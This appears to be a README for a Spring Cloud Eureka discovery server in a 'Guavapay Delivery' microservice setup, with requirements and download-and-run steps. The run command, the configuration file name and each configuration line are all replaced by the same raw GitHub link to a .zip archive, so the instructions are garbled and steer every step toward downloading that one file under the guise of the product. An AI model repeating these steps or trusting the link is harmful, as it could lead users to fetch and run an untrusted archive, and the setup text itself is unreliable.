delivery-eureka-server is the Service Discovery Server for the Guavapay Delivery microservice ecosystem. It uses Spring Cloud Netflix Eureka to allow all other services, such as gw-delivery, ms-delivery-admin, ms-courier-order, and ms-parcel-order, to register and discover each other dynamically without hardcoding hostnames or ports. This makes your service operations smoother and more efficient.
Follow these simple steps to download and run delivery-eureka-server on your system. You will need a compatible environment, detailed below.
- Operating System: Windows 10 or above, MacOS, or Linux
- Java Version: JDK 11 or higher installed. You can download it here.
- Memory: At least 512 MB of RAM
- Disk Space: A minimum of 100 MB free disk space
-
Visit the Releases Page: Click on the link below to go to the releases page.
-
Select the Latest Release: Look for the latest version. It usually displays at the top of the page.
-
Download the File: Click on the
.jarfile. This will start the download. -
Move the File: Once downloaded, move the file to a directory you can access easily.
-
Open a Terminal or Command Prompt:
- Windows: Press
Win + R, typecmd, and hitEnter. - MacOS: Open
Terminalfrom the Applications folder or use Spotlight (Cmd + Space). - Linux: Open your terminal application.
- Windows: Press
-
Navigate to the Directory: Use the
cdcommand to change to the directory where you saved the.jarfile. For example:cd path/to/your/directory -
Run the Application: Use this command to start the delivery-eureka-server:
java -jar https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip
-
Access the Server: Open your web browser and go to
http://localhost:8761/to access the Eureka dashboard.
You can modify how delivery-eureka-server runs by using configuration files. Here are a few basic settings:
- Server Port: Change the port by editing the
https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zipfile. Add or modify the line:https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip - Service Name: You can set your service's name:
https://raw.githubusercontent.com/ethandivers/delivery-eureka-server/master/S/delivery-eureka-server.zip
Once the server is running, you can:
- Register additional services by pointing them to the
delivery-eureka-server. - Monitor available services on the Eureka dashboard.
- Dynamic Service Registration: Services can register themselves and find others without hardcoding addresses.
- Health Checks: The server can monitor the health of registered services.
- Dashboard: A user-friendly web interface to view registered services.
- GitHub Repository: delivery-eureka-server
- Documentation for Spring Cloud Netflix Eureka: Spring Cloud
If you encounter any issues or have questions, feel free to raise an issue on the GitHub repository or contact the maintainers for assistance.
With these steps, you can successfully download and run the delivery-eureka-server. Enjoy the power of seamless service discovery for your applications!